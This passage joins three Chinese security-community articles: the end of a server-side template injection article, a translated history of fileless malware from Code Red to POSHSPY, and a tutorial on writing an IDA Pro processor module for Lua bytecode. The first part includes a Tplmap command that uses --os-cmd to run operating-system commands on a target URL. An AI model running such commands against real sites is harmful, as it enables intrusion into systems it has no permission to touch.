这个引擎应该是出镜率最高的了，能写的东西也很多，由于篇幅所限，具体内容会在（下）中展开记录。
## 常用检测工具 Tplmap
工具地址：<https://github.com/epinna/tplmap>
和sqlmap的设计风格一致，直接怼就行
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'
## 总结
SSTI在MVC架构中是经常出现的一类问题，除去本文中介绍的几个引擎，还有许多受影响的引擎，比如Velocity
等。该问题主要是由于开发者直接将用户输入作为模板交给模板引擎渲染导致的，将用户输入绑定到模板的参数中可以缓解这一问题。通过SSTI，我们往往可以获取到程序运行的上下文环境，甚至利用模板引擎的内置方法完成远程代码注入等高危攻击。
## 参考资料
<https://xz.aliyun.com/t/7518>
<https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection>
<https://www.onsecurity.io/blog/go-ssti-method-research/> | 社区文章 |
# 【技术分享】漫谈无文件恶意软件的发展历史
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://zeltser.com/fileless-malware-beyond-buzzword/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言
**
究竟什么是“ **无文件恶意软件（fileless malware）**
”？谈到这个名词时，许多安全行业的专业人员都心有余悸，许多文章和产品手册在介绍无文件恶意软件时，总会顺带提到我们难以防御和分析这类威胁。我在这篇文章中会试着抛开这些陈词滥调，追溯无文件恶意软件的最初起源，并以此类恶意软件的几个样本为例，勾勒出这个名词的演变轮廓。
**二、这是一个热门话题**
人们在工业事件、私人会议以及在线讨论中经常会提到无文件恶意软件这个话题。原因可能在于这类威胁放大了传统端点安全技术的缺点，又给了新型安全技术展现实力的机会。
事实的确如此，Google趋势给出的资料表明，人们在2012年到2014年之间对这个名词鲜有问津，自2015年后人们对它的兴趣逐步提升，并在2017年到达了一个峰值。
这种趋势与近年来公众对具备“无文件”能力的恶意软件的讨论不无关系，特别是在2017年，有大量关于这个话题的研究成果和出版物喷涌而出。
**三、什么是无文件恶意软件**
首先我们得明确一点，那就是“无文件恶意软件有时候还是会使用文件”。现如今，大多数人们在使用无文件恶意软件这个名词时，似乎约定俗成地使用了以下这个定义：
“无文件恶意软件是一种不需要在文件系统中存放恶意可执行文件的软件”。
这个定义对于利用恶意脚本或者文件系统中良性可执行文件进行传播的恶意软件来说是适用的。对于隐藏在注册表中恶意软件来说，这个定义也是正确的，虽然这种情况下注册表本身还是存储在Windows文件系统中。这个定义不需要考虑恶意文件的传播途径，不论是通过漏洞利用、社会工程学技巧还是滥用某些正常功能来进行传播，这个定义都是适用的。
虽然无文件恶意软件最初指的是那些不使用本地持久化技术、完全驻留在内存中的恶意代码，但这个术语的范围在逐渐扩大，现在也将那些依赖文件系统的某些功能以实现恶意代码激活和驻留的恶意软件包括在内。让我们一起回顾一下对这个术语的演变过程造成影响的那些恶意程序。
**四、2001-2003： Code Red以及SQL Slammer**
完全驻留在内存中的恶意代码肯定在21世纪前就已经存在。然而，直到2001年，Code
Red蠕虫在互联网上肆意传播，才将“无文件恶意软件”这个名词带给普罗大众。我所能找到的最早与此有关的公开资料发布于2001年的夏天，当时卡巴斯基实验室发表了一份[公告](https://web-beta.archive.org/web/20020601140250/http:/www.kaspersky.com/news.asp?tnews=0&nview=8&id=214&page=0)，其中提到：
“我们预测，在不久的将来，像Code Red之类的‘无文件’蠕虫将泛滥成灾，无法处理这类威胁的反病毒软件只能给大众带来安全风险”。
Code Red蠕虫使用了微软IIS
web服务器中的一个漏洞进行传播，能够完全驻留在受害主机的内存中，详细的分析可以参考CAIDA的这篇[文章](https://www.caida.org/research/security/code-red/)。
一年半以后，另一个蠕虫（SQL Slammer）就像燎原野火一般传播。SQL Slammer利用的是微软SQL服务器中的一个漏洞。Robert
Vamosi在2003年为ZDNet撰写的一篇[文章](http://www.zdnet.com/article/sql-slammer-how-it-works-prevent-it/)中，将这个蠕虫归类为“无文件”类别恶意软件，指出它“与Code Red类似，仅驻留在内存中”。
我也在Peter
Szor（彼时正在赛门铁克工作的一名资深前辈）于2003年提交的一份专利申请中找到了一些资料。专利名为“签名提取系统及方法”，其中给出了无文件恶意软件的定义，如下所示：
“无文件恶意软件指的是不依赖文件、仅存在于内存中的恶意代码……更具体地说，无文件恶意代码……可以将自身附加到活动进程的内存空间中……”。
无文件恶意软件的原始定义与这个名词字面上的意思非常接近，指的是能够在没有残留文件的前提下保持活跃的那些恶意软件。
**五、2012：安装Lurk木马的僵尸程序**
我能找到与无文件恶意软件有关的另一份资料，是在Code Red和SQL Slammer蠕虫诞生的近十年之后。2012年，卡巴斯基实验室的Sergey
Golovanov发表了一份[分析报告](https://web.archive.org/web/20121115032711/http:/www.securelist.com/en/blog/687/A_unique_fileless_bot_attacks_news_site_visitors)，介绍了某个没有文件落盘行为的僵尸程序（bot），其中提到：
“我们面对的是一个非常罕见的恶意软件，这种无文件程序不存在于硬盘文件中，仅在受感染计算机的内存中活动”。
这个僵尸程序利用了Java客户端的某个漏洞，仅在受感染的javaw.exe进程的内存空间中活动。Sergey提到这个僵尸程序具备安装[Lurk银行木马](https://securelist.com/blog/research/75040/lurk-banker-trojan-exclusively-for-russia/)的功能。
在2012年的早些时候，SecurityXploded的Amit
Malik发表了一篇[技术短文](http://securityxploded.com/memory-execution-of-executable.php)，介绍了从互联网下载Windows程序后，如何在不保存到本地硬盘的前提下，实现Windows程序的“内存化或无文件执行”。
**六、2014：Powerliks、Angler以及Phase僵尸程序**
****
前面提到的程序完全驻留在内存中，不会在文件系统中留下任何明显的蛛丝马迹。因为这种特性，它们在系统重启后就消失得无影无踪。相比之下，2014年出现的Poweliks恶意软件是一种“无需文件的可持久化恶意软件”（G
Data的[原话](https://blog.gdatasoftware.com/2014/07/23947-poweliks-the-persistent-malware-without-a-file)）。这个恶意软件利用了微软Word的某个漏洞来进入系统，使用带有shellcode的PowerShell以及JavaScript脚本实现内存中的执行功能。赛门铁克的Kevin
Gossett对它的本地持久化技术进行了分析，其中提到：
“通常情况下，恶意软件会在注册表的Run键值中添加一个子项，指向某个恶意可执行文件以完成本地持久化。Poweliks将Run键值的子键指向rundll32.exe，利用这个合法的微软程序加载DLL文件，并向其传递几个参数。传递的参数中包括JavaScript代码，最终实现将Poweliks加载到内存中并执行的目的”。
一个月之后，安全研究员Kafeine发表一篇关于Angler漏洞利用工具的[分析文章](http://malware.dontneedcoffee.com/2014/08/angler-ek-now-capable-of-fileless.html)。恶意软件的攻击目标是存在漏洞的Java客户端，仅在受感染的javaw.exe进程的内存空间中活动。2016年，Palo
Alto的安全研究员Brad
Duncan在一篇[分析报告](http://researchcenter.paloaltonetworks.com/2016/04/afraidgate-major-exploit-kit-campaign-swaps-locky-ransomware-for-cryptxxx/)中提到，Angler开始出现安装Bedep下载器的行为，且在安装时不涉及到任何文件创建，因为Angler将下载器直接加载到内存中运行。
2014年年末，安全研究员MalwareTech发表了一篇分析报告，研究了一款名为[“Phase僵尸程序](https://www.malwaretech.com/2014/12/phase-bot-fileless-rootki.html)”的无文件rootkit。根据该报告内容，这款恶意软件可以“在不释放任何文件到本地磁盘、不创建自身进程的前提下安装到系统中。……Phase将可重新定位的恶意代码加密保存在注册表中，通过PowerShell读取并在内存中执行这段与具体位置无关的代码”。与Powerliks类似，这个恶意软件通过注册表的autorun键值，调用rundll32.exe执行JavaScript实现本地持久化。
**七、2014-2015：Duqu 2.0以及Kovter**
在2015年年中，卡巴斯基实验室发表了一份[报告](https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf)，详细介绍了某个高级组织在2014-2015年期间使用一款名为Duqu
2.0的复杂恶意软件平台开展攻击活动。他们在攻击活动使用了某个Windows漏洞来安装恶意软件，恶意软件完全隐藏在受感染主机的内存中。恶意软件没有实现本地持久化机制，相反，攻击者的目标是长时间上线的服务器，他们只需要在服务器重启后重新感染系统即可。
名为Kovter的另一个无文件恶意软件也在2015年引起了人们的关注。Kovter的感染方式与Powerliks十分相似。它最初由某个恶意可执行文件加载运行，将经过混淆或加密处理的程序保存在注册表后，恶意软件就将原始的加载程序从磁盘中删除。至少有一个Kovter变种通过创建快捷方式执行JavaScript以实现本地持久化。正如Airbus的Andrew
Dove[所述](http://blog.airbuscybersecurity.com/post/2016/03/FILELESS-MALWARE-%E2%80%93-A-BEHAVIOURAL-ANALYSIS-OF-KOVTER-PERSISTENCE)，这个JavaScript脚本会启动一个能够执行shellcode的PowerShell脚本，所执行的shellcode会将恶意代码注入到一个非恶意的应用程序中，并执行这个应用程序。
**八、2016：PowerSniff、PowerWare以及August**
在2016年年中，Palo Alto Networks的Josh Grunzweig和Brandon
Levene在一篇[文章](http://researchcenter.paloaltonetworks.com/2016/03/powersniff-malware-used-in-macro-based-attacks/)中介绍了PowerSniff这个恶意软件。恶意软件的感染路径从包含恶意宏的微软Word文档开始。PowerSniff的内存驻留技巧在某些方面与Kovter类似，使用了PowerShell脚本来执行shellcode，仅在内存中执行的shellcode可以解码并执行附加的恶意载荷。PowerSniff具备将恶意DLL临时保存到文件系统中的能力。
几周之后，Carbon Black的Mike Sconzo和Rico
Valdez在一篇[文章](https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/)中介绍了PowerWare这个恶意软件。与PowerSniff类似，PowerWare依然使用包含恶意宏的微软Office文档开始攻击活动，文档中的恶意宏最终会启动一个PowerShell脚本，不需要在文件系统中存放恶意可执行文件即可完成攻击流程。
在当年晚些时候，Proofpoint在另一篇[文章](https://www.proofpoint.com/us/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene)中介绍了August这个恶意软件，该样本同样使用微软Word宏以及PowerShell来完成攻击过程。根据这篇文章，August会“从远程站点下载部分载荷，作为PowerShell的字节数组”，载荷的执行完全在内存中完成，不需要保存到文件系统中。
**九、2017：POSHSPY等**
在2017年初，卡巴斯基实验室在一篇文章中介绍了某款恶意工具，其恶意代码以Meterpreter为基础，完全在内存中活动。在文件系统方面，攻击者仅使用了合法的Windows实用工具，如sc（用来安装运行PowerShell的恶意服务）以及netsh（使用隧道方式来承载恶意网络流量）。
几个月之后，Mandiant的Matthew
Dunwoody在一篇分析复杂攻击活动的[文章](https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html)中也提到了无文件恶意代码。名为POSHSPY的恶意软件使用了系统提供的WMI（Windows
Management
Instrumentation）功能来实现本地持久化机制，同时使用PowerShell来执行攻击载荷。POSHSPY能够下载可执行文件，并将该文件保存到文件系统中。Matthew总结到：
“攻击者通过这种‘离地（living off the
land）’攻击技术，实现了一个非常独立的后门，可以与之前更为传统和更为复杂的后门族群一起部署，以便在传统后门失效后还保留目标的控制权”。
这次攻击事件突出反映了入侵者的强大实力，即使他们只能够依赖系统内置的正常程序，他们也能在被感染系统上执行恶意载荷。
**十、“无文件恶意软件”的其他说法**
2012年，Sergey
Golovanov在一篇文章中，最开始使用的是“无文件恶意软件”这个名词。非常有趣的是，现在这篇[文章](https://securelist.com/blog/virus-watch/32383/a-unique-bodiless-bot-attacks-news-site-visitors-3/)中，使用的是“无实体恶意软件”（bodiless
malware）这个名词。卡巴斯基实验室在2016年之前使用的都是“[无实体恶意软件](https://business.kaspersky.com/bodiless-threat/6128/)”，但在2017年之后，他们在文章中又回到了“无文件恶意软件”这个说法。
此外，还有其他说法没有流行起来。2013年，“高级易变性威胁”（Advanced Volatile
Thread，AVT）这个说法短暂浮出水面。根据[维基百科](https://en.wikipedia.org/wiki/Advanced_volatile_threat)的解释，该名词由Triumfant公司的John
Prisco提出。“AVT”存在的时间并不长，2013年，Byron
Acohido在《今日美国》的一篇[文章](https://www.usatoday.com/story/tech/2013/02/21/advanced-volatile-threat-malicious-software-pc-intrusions/1933975/)中，使用这个名词来指代存在后门的某个Apache软件。根据Piere-Marc
Bureau（彼时是ESET的一员）的[说法](https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/)，这个后门“除了对web服务器文件进行修改之外，没有在硬盘上留下其他任何痕迹”。
相比之下，Carbon Black在2016年的一份[威胁报告](https://www.carbonblack.com/wp-content/uploads/2016/12/16_1214_Carbon_Black-_Threat_Report_Non-Malware_Attacks_and_Ransomware_FINAL.pdf)中，使用了与无文件恶意软件更为贴切的另一种说法。这篇报告中使用的是“无恶意软件攻击”这个名词。几个月之后，Michael
Viscuso在公司的一篇[博文](https://www.carbonblack.com/2017/02/10/non-malware-fileless-attack/)中，对这个名词做出了解释，原话如下：
“无恶意软件攻击，指的是攻击者使用现有软件、被许可的应用程序以及已授权的协议来开展恶意活动。无恶意软件攻击无需下载任何恶意文件，即可获取计算机的控制权。无恶意软件攻击这个概念也可以代表无文件、内存化或‘离地’攻击”。
Gartner在2017年的一份[报告](https://www.gartner.com/technology/media-products/newsletters/carbon-black/1-3QTKW2U/index.html)中，与Carbon
Black一样，使用了“无恶意软件攻击”这个名词。不过，一个月后，Gartner在的另一篇[文章](https://www.gartner.com/doc/3606019/ready-fileless-malware-attacks)中，改用了“无文件攻击”这个名词。
**十一、为什么写这篇文章**
我认为对于不同的场合，我们可以使用不同的说法。比如，对于仅仅依赖合法的系统管理工具以及其他非恶意软件的攻击事件，我更倾向于使用“无恶意软件攻击”这个说法，这种场景也就是人们常说的“离地”攻击场景。另外，如果恶意代码从来没有保存到本地硬盘中（比如恶意代码被注入到其他进程的内存空间中），我更倾向于使用“完全内存化恶意软件（memory-only malware）”这个说法。如果恶意软件不需要在文件系统中保存传统意义上的可执行文件来实现本地持久化，此时我认为使用“无文件恶意软件”也是可以的。
不幸的是，现在这些说法已经杂糅在一起。尽管“无文件恶意软件”代表各种含义，我们还是会坚持使用这个说法来描述前面提到的各种场景。只能感慨人类的语言不仅含义不清，而且总是在变，如果大家说的都是“C#”语言，说不定这个世界会变得更加美好
🙂
我之所以会关心这个术语，原因在于我在[Minerva](https://www.minerva-labs.com/)的工作是负责介绍某款反恶意软件产品的功能，我需要避免使用那些陈词滥调和毫无意义的短语。这款产品可以与其他端点安全工具配合使用，防御各种恶意软件，无论它们的攻击载荷是否需要保存到磁盘中。客户经常向我咨询我们对无文件恶意软件的处理方式，因此我决定写一篇综合调研文章，以便更好把握这个名词使用的方式和时机。 | 社区文章 |
# Lua程序逆向之为Luac编写IDA Pro处理器模块
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上一篇讲解了如何加载一个Luac文件到IDA Pro当中，加载进入idb数据库的内容犹如切好洗净的食材，并不能粗暴的直接展示给用户，还需要IDA
Pro中的处理器模块对内容进行下一步的反汇编渲染与指令功能注释，才能最终装盘食用。
处理器模块的工作就是：解析不同段的内容，确定代码段后，通过指定的指令格式解析与构造指令；确定指令使用的数据类型、寄存器与助记符；执行代码段的线性式代码反汇编；为指令标记注释与交叉引用等。
## 处理器模块架构
IDA Pro没有详细的文档描述如何开发处理器模块，最有效的学习途径是阅读IDA Pro程序中自带的开源的处理器模块代码。IDA
Pro的处理器模块比文件加载器在架构上要更加晦涩难懂，实现起来也要复杂得多。
本篇写作时，对应的IDA Pro版本为国内众所周知的IDA Pro版本7.0，实验环境为macOS
10.12平台，处理器模块的开发选择使用Python。在IDA
Pro软件的加载器目录（macOS平台）：/Applications/IDAPro7.0/ida.app/Contents/MacOS/procs中，有着3个Python编写的处理器模块代码，分别是spu.py、ebc.py、msp430.py，如果安装了IDA
Pro的开发SDK，在其中的module/script目录下也会找到这些模块，另外，还会包含一个proctemplate.py模板。
理论上，本节编写的Luac处理器模块，放到Windows等其他平台上，不需要进行任何的修改，也可以很好的工作。
本次参考使用到的代码是ebc.py模块，因为它的实现代码量不算最少，但在指令的解码处理上，代码更加直观。
处理器模块要求py中有一个定义为PROCESSOR_ENTRY()的方法，它的返回值是一个processor_t类型的类结构，IDA
Pro通过检查这个类的字段，与回调它的方法，来完成指令的处理。一个精简的代码架构如下：
class ebc_processor_t(processor_t):
...
# ---------------------------------------------------------------------- def __init__(self):
processor_t.__init__(self)
self.PTRSZ = 4 # Assume PTRSZ = 4 by default
self.init_instructions()
self.init_registers()
...
...
def PROCESSOR_ENTRY():
return ebc_processor_t()
ebc_processor_t类中有很多的回调函数，它们都会在特定的场景下触发执行，所有的回调方法，可以在当前版本的IDA
Pro的ida_idp.py文件中，查看processor_t的类型声明得知，不过可以发现，processor_t的声明是由swig自动生成的桥接到C的代码，看不出任何有价值的地方，在实际编写代码时，可能需要查看Python编写的处理器模块的回调函数注释，来理解回调的参数与使用场景，也可以直接查看processor_t类型在C语言中的声明，它的定义可以在SDK的include目录下的idp.hpp头文件中找到，在实现上，SDK中也包含了很多C语言编写的处理器模块，代码也很有参考价值。
这里的ebc_processor_t的__init__()方法中，会调用init_instructions()初始化处理器模块用到的指令，以及调用init_registers()初始化处理器模块用到的寄存器信息，这是一种通用的设置流程，我们在下面的代码中也采用这种方式完成Luac的相关初始化。
## Luac处理器模块的实现
下面来动手实现Luac的处理器模块，同样的，它只支持基于Lua 5.2生成的Luac文件。
将ebc.py模块复制一份改名为loacproc.py。并修改ebc_processor_t为lua_processor_t，它的`_init()`代码不需要进行修改，代码如下：
def __init__(self):
processor_t.__init__(self)
self.PTRSZ = 4 # Assume PTRSZ = 4 by default
self.init_instructions()
self.init_registers()
self.PTRSZ描述了使用到的指针类型所占的字节大小，对于32位的Luac来说，它的值为4，通常只有在编写64位的程序处理器模块时，它的值才是8。init_instructions()与init_registers()分别用来初始化指令与寄存器列表，我们需要修改它的方法的实现部分。
在开始讲解指令与寄存器的修改前，我们先看看processor_t中需要修改的一些字段，它们的片断如下：
PLFM_LUAC = 99
class lua_processor_t(processor_t):
# IDP id ( Numbers above 0x8000 are reserved for the third-party modules)
id = PLFM_LUAC
# Processor features
flag = PR_DEFSEG32 | PR_USE64 | PRN_HEX | PR_RNAMESOK | PR_NO_SEGMOVE | PR_TYPEINFO
# Number of bits in a byte for code segments (usually 8)
# IDA supports values up to 32 bits
cnbits = 8
# Number of bits in a byte for non-code segments (usually 8)
# IDA supports values up to 32 bits
dnbits = 8
# short processor names
# Each name should be shorter than 9 characters
psnames = ['Luac']
# long processor names
# No restriction on name lengthes.
plnames = ['Lua Byte code']
# size of a segment register in bytes
segreg_size = 0
# Array of typical code start sequences (optional)
# codestart = ['\x60\x00'] # 60 00 xx xx: MOVqw SP, SP-delta
# Array of 'return' instruction opcodes (optional)
# retcodes = ['\x04\x00'] # 04 00: RET
# You should define 2 virtual segment registers for CS and DS.
# Let's call them rVcs and rVds.
# icode of the first instruction
instruc_start = 0
#
# Size of long double (tbyte) for this processor
# (meaningful only if ash.a_tbyte != NULL)
#
tbyte_size = 0
segstarts = {}
segends = {}
...
id字段是一个数值的ID值，用来标识处理器模块，IDA Pro中定义了一些已经存在的id，它们的定义在ida_idp.py中可以找到，如下所示：
# processor_t.id
PLFM_386 = 0 # Intel 80x86
PLFM_Z80 = 1 # 8085, Z80
PLFM_I860 = 2 # Intel 860
...
PLFM_EBC = 57 # EFI Bytecode
PLFM_MSP430 = 58 # Texas Instruments MSP430
PLFM_SPU = 59 # Cell Broadband Engine Synergistic Processor Unit
我们这里将其设置为PLFM_LUAC，只要定义它为一个与系统上不冲突的数值即可。
flag字段描述了处理器用到的一些特性，用样可以在ida_idp.py中可以查看processor_t.flag小节中的可选值，例如PR_USE64表示支持64位的寻址方式，PR_NO_SEGMOVE表示不支持段移动，即不允许调用move_segm()接口，PR_TYPEINFO表示支持类型信息，即支持在IDA
Pro中载入til中的类型。
cnbits字段与dnbits字段表示对于代码段与非代码段，一个字节占用多少位，通常取值8。
psnames字段用来设置处理器模块的短名称，这里设置为”Luac”。还记得上一节如下的代码么：
idaapi.set_processor_type("Luac", SETPROC_ALL|SETPROC_FATAL)
当注册了该名称后，文件加载器就可以通过idaapi.set_processor_type()来设置该处理器模块了。
plnames字段是长名称，起到描述性的作用。
segreg_size字段描述段寄存器的大小，当前面的flag字段包含了PR_SEGS标志，则需要设置它的值，这里取值为0。
codestart与retcodes用于描述函数的开始与结束的指令特征，用于IDA Pro线性扫描时，自动生成函数信息。
instruc_start为指令列表的起始索引。
tbyte_size字段描述long double类型的字节大小，这里没有用到，设置为0即可。
segstarts与segends用来记录段的开始与结束地址，这两个字段在其他的代码回调处很有用。
接下来还需要设置一个assembler字段，描述了反汇编的一些信息。包括设置反汇编器的名称，各种数据类型的助记符，比如字节、字、双字通常设置为db、dw、dd，这在其他的处理器模块中常见。然后是各种保留关键字与逻辑操作的助记符，这些内容在luac_proc中，可以选择保留或者删除。
在init_instructions()的内部实现中，被要求设置一个class
idef，该类型用于描述指令的具体信息，包括：指令的名称、解码回调程序、规犯标志、注释等。当然，也可以选择不实现它。在本例中，选择了使用idef辅助进行指令处理，它的定义如下：
class idef:
"""
Internal class that describes an instruction by:
- instruction name
- instruction decoding routine
- canonical flags used by IDA
"""
def __init__(self, name, cf, d, cmt = None):
self.name = name
self.cf = cf
self.d = d
self.cmt = cmt
为了方便解码指令，这里定义了一张指令表self.itable，它列出了Luac中涉及到的所有指令，如下所示：
self.itable = {
0x00: idef(name='MOVE', d=self.decode_MOVE, cf=CF_USE1 | CF_USE2, cmt=''),
0x01: idef(name='LOADK', d=self.decode_LOADK, cf=CF_USE1 | CF_USE2, cmt=self.cmt_LOADK),
0x02: idef(name='LOADKX', d=self.decode_LOADKX, cf=CF_USE1 | CF_USE2, cmt=''),
0x03: idef(name='LOADBOOL', d=self.decode_LOADBOOL, cf=CF_USE1 | CF_USE2 | CF_USE3, cmt=''),
0x04: idef(name='LOADNIL', d=self.decode_LOADNIL, cf=CF_USE1 | CF_USE2, cmt=''),
0x05: idef(name='GETUPVAL', d=self.decode_GETUPVAL, cf=CF_USE1 | CF_USE2, cmt=''),
...
0x26: idef(name='VARARG', d=self.decode_VARARG, cf=CF_USE1 | CF_USE2, cmt=''),
0x27: idef(name='EXTRAARG', d=self.decode_EXTRAARG, cf=CF_USE1, cmt=''),
}
CF_USE1与CF_USE2标志表示使用了第一个操作数与第二个操作数，与之类似的还有CF_JUMP，表示这是一条跳转类型的指令，CF_CALL表示这是一条call类型的指令，所有支持的标志可以在ida_idp.py的instruc_t.feature小节查看。
完成这张表后，需要使用它来填充处理器模块的instruc字段，代码如下：
# Now create an instruction table compatible with IDA processor module requirements
Instructions = []
i = 0
for x in self.itable.values():
d = dict(name=x.name, feature=x.cf)
if x.cmt != None:
d['cmt'] = x.cmt
Instructions.append(d)
setattr(self, 'itype_' + x.name, i)
i += 1
# icode of the last instruction + 1
self.instruc_end = len(Instructions) + 1
# Array of instructions
self.instruc = Instructions
# Icode of return instruction. It is ok to give any of possible return
# instructions
self.icode_return = self.itype_RETURN
instruc_end字段为指令列表的结束索引，它对应着前面的instruc_start字段。
instruc字段通过Instructions进行设置，它只取了指令的名称与标志两个字段。
icode_return字段指明可能的返回指令，itype_RETURN是前面通过setattr()设置的RETURN指令。
下面看看指令的解码部分，即前面self.itable中定义的如self.decode_MOVE与self.decode_LOADK部分。
self.decode_MOVE的实现如下：
def decode_MOVE(self, insn, a, b, c, ax, bx, sbx):
"""
OP_MOVE,/* A B R(A) := R(B) */
"""
insn.Op1.type = o_reg
insn.Op1.reg = a
insn.Op1.dtype = dt_dword
insn.Op2.type = o_reg
insn.Op2.reg = b
insn.Op2.dtype = dt_dword
return True
可以看到，实现方法上，主要是填充inst指令的两个操作数，因为它的最终展示形式形如：
MOVE R(A), R(B)
在填充时，除了指定它是否为寄存器类型o_reg外，还需要设置它的具体值a与b，当a为2，b为1时，它生成的反汇编代码为：
MOVE R2, R1
然后以LOADK指令为例，它的解码回调为self.decode_LOADK，代码如下：
def decode_LOADK(self, insn, a, b, c, ax, bx, sbx):
"""
OP_LOADK,/* A Bx R(A) := Kst(Bx) */
"""
insn.Op1.type = o_reg
insn.Op1.reg = a
insn.Op1.dtype = dt_dword
insn.Op2.type = o_displ
insn.Op2.reg = bx
insn.Op2.dtype = dt_dword
return True
这一次，Op2的类型不为o_reg，而是o_displ，这是指针类型的数据，这里在最终解码时，我们会判断它操作的是否为Upvalue，来进一步确定它是UpValue，还是Constant常量，如果是前者，我们输出时会指定U开头，如果是后者，输出时会指定K开头。至于具体的判断方法，则是将指令的Op的specval值设置为1。如decode_SETUPVAL()的实现：
def decode_SETUPVAL(self, insn, a, b, c, ax, bx, sbx):
"""
OP_SETUPVAL,/* A B UpValue[B] := R(A) */
"""
insn.Op1.type = o_reg
insn.Op1.reg = a
insn.Op1.dtype = dt_dword
insn.Op2.type = o_displ
insn.Op2.reg = b
insn.Op2.dtype = dt_dword
insn.Op2.specval = 1
return True
接下来就是一条条的实现每一条指令的解码回调，这就是一个体力活。
接着是初始化寄存器的部分，代码如下：
def init_registers(self):
"""This function parses the register table and creates corresponding ireg_XXX constants"""
# Registers definition
self.reg_names = [
# General purpose registers
# #define MAXSTACK 250
# >>> for i in xrange(250):
# ... print("\"R%d\"," % i)
"R0",
"R1",
"R2",
"R3",
"R4",
"R5",
"R6",
"R7",
"R8",
...
# Fake segment registers
"CS",
"DS"
]
# Constants definition
self.constant_names = [
# #define MAXSTACK 250
# >>> for i in xrange(250):
# ... print("\"K%d\"," % i)
"K0",
"K1",
"K2",
"K3",
"K4",
"K5",
"K6",
"K7",
"K8",
...
]
# Upvalues definition
self.upvalue_names = [
# #define MAXSTACK 250
# >>> for i in xrange(250):
# ... print("\"U%d\"," % i)
"U0",
"U1",
"U2",
"U3",
"U4",
"U5",
"U6",
"U7",
"U8",
...
]
# Create the ireg_XXXX constants
for i in xrange(len(self.reg_names)):
setattr(self, 'ireg_' + self.reg_names[i], i)
# Create the iconst_XXXX constants
for i in xrange(len(self.constant_names)):
setattr(self, 'iconst_' + self.constant_names[i], i)
# Create the iupval_XXXX constants
for i in xrange(len(self.upvalue_names)):
setattr(self, 'iupval_' + self.upvalue_names[i], i)
# Segment register information (use virtual CS and DS registers if your
# processor doesn't have segment registers):
self.reg_first_sreg = self.ireg_CS
self.reg_last_sreg = self.ireg_DS
# number of CS register
self.reg_code_sreg = self.ireg_CS
# number of DS register
self.reg_data_sreg = self.ireg_DS
主要是定义了寄存器名称表reg_names，常量名称表constant_names，UpValue名称表upvalue_names。以及为这些表各自设置名称属性。
完成了这两卡的初始化，接着就是实现处理器模块的回调了。重要的有，notify_ana()，作用是解码每一条指令，它的实现代码如下：
def notify_ana(self, insn):
"""
Decodes an instruction into insn
"""
# take opcode byte
b = insn.get_next_dword()
# the 6bit opcode
opcode = b & 0x3F
arg_a = GET_BITS(b, 6, 13)
arg_b = GET_BITS(b, 23, 31)
arg_c = GET_BITS(b, 14, 22)
arg_ax = GET_BITS(b, 6, 31)
arg_bx = GET_BITS(b, 14, 31)
arg_sbx = GET_BITS(b, 14, 31) - 131071
print("opcode:%x, a:%x, b:%x, c:%x, ax:%x, bx:%x, sbx:%d" % (opcode, arg_a, arg_b, arg_c, arg_ax, arg_bx, arg_sbx))
# opcode supported?
try:
ins = self.itable[opcode]
# set default itype
insn.itype = getattr(self, 'itype_' + ins.name)
except:
return 4
# call the decoder
return insn.size if ins.d(insn, arg_a, arg_b, arg_c, arg_ax, arg_bx, arg_sbx) else 0
解析32位的指令，取它的opcode、arg_a、arg_b、arg_c、arg_ax、arg_bx、arg_cx等值，然后根据不同的opcode索引查表，设置指令的itype字段，最后返回指令的长度即可。
notify_out_insn()用于输出完整指令，out_mnem()用于输出助记符，notify_out_operand()用于输出操作数，后两个回调是前一个回调的两个拆分，这几个回调加在一起，可以处理指令输出的全部细节。notify_out_insn()与out_mnem()的实现对于多数的反汇编引擎部分是一样的，这里不去细究，主要看看notify_out_operand()，它的实现如下：
def notify_out_operand(self, ctx, op):
"""
Generate text representation of an instructon operand.
This function shouldn't change the database, flags or anything else.
All these actions should be performed only by u_emu() function.
The output text is placed in the output buffer initialized with init_output_buffer()
This function uses out_...() functions from ua.hpp to generate the operand text
Returns: 1-ok, 0-operand is hidden.
"""
#print("notify_out_operand called. op:%x" % op.type)
optype = op.type
fl = op.specval
def_arg = is_defarg(get_flags(ctx.insn.ea), op.n)
if optype == o_reg:
ctx.out_register(self.reg_names[op.reg])
elif optype == o_imm:
# for immediate loads, use the transfer width (type of first operand)
if op.n == 1:
width = self.dt_to_width(ctx.insn.Op1.dtype)
else:
width = OOFW_32 if self.PTRSZ == 4 else OOFW_64
ctx.out_value(op, OOFW_IMM | width)
elif optype in [o_near, o_mem]:
r = ctx.out_name_expr(op, op.addr, idc.BADADDR)
if not r:
ctx.out_tagon(COLOR_ERROR)
ctx.out_btoa(op.addr, 16)
ctx.out_tagoff(COLOR_ERROR)
remember_problem(PR_NONAME, ctx.insn.ea)
elif optype == o_displ:
is_upval = fl
if is_upval:
ctx.out_register(self.upvalue_names[op.reg]) #Upvalues
else:
ctx.out_register(self.constant_names[op.reg]) #Constants
#if op.addr != 0 or def_arg:
# ctx.out_value(op, OOF_ADDR | (OOFW_32 if self.PTRSZ == 4 else OOFW_64) | signed | OOFS_NEEDSIGN)
else:
return False
return True
根据不同的操作数类型，调用不同的方法进行输出。ctx.out_register负责输出寄存器；ctx.out_value负责输出立即数；而对于UpValue与Constant的输出，这里借用了ctx.out_register来输出，只是使用了不同的名称组。
取这里，指令的基本的反汇编就算完成了，IDA
Pro在应用该处理器模块时，会线性的扫描所有的CODE类型的代码段，进行反汇编处理。由于篇幅的原因，这篇就到此这止了，有兴趣的读者，可以在此基础上，实现函数的创建、代码与数据的交叉引用、自动添加注释等功能。最终实现的效果如图所示：
完整的luac_proc.py文件可以在这里找到：<https://github.com/feicong/lua_re>。 | 社区文章 |
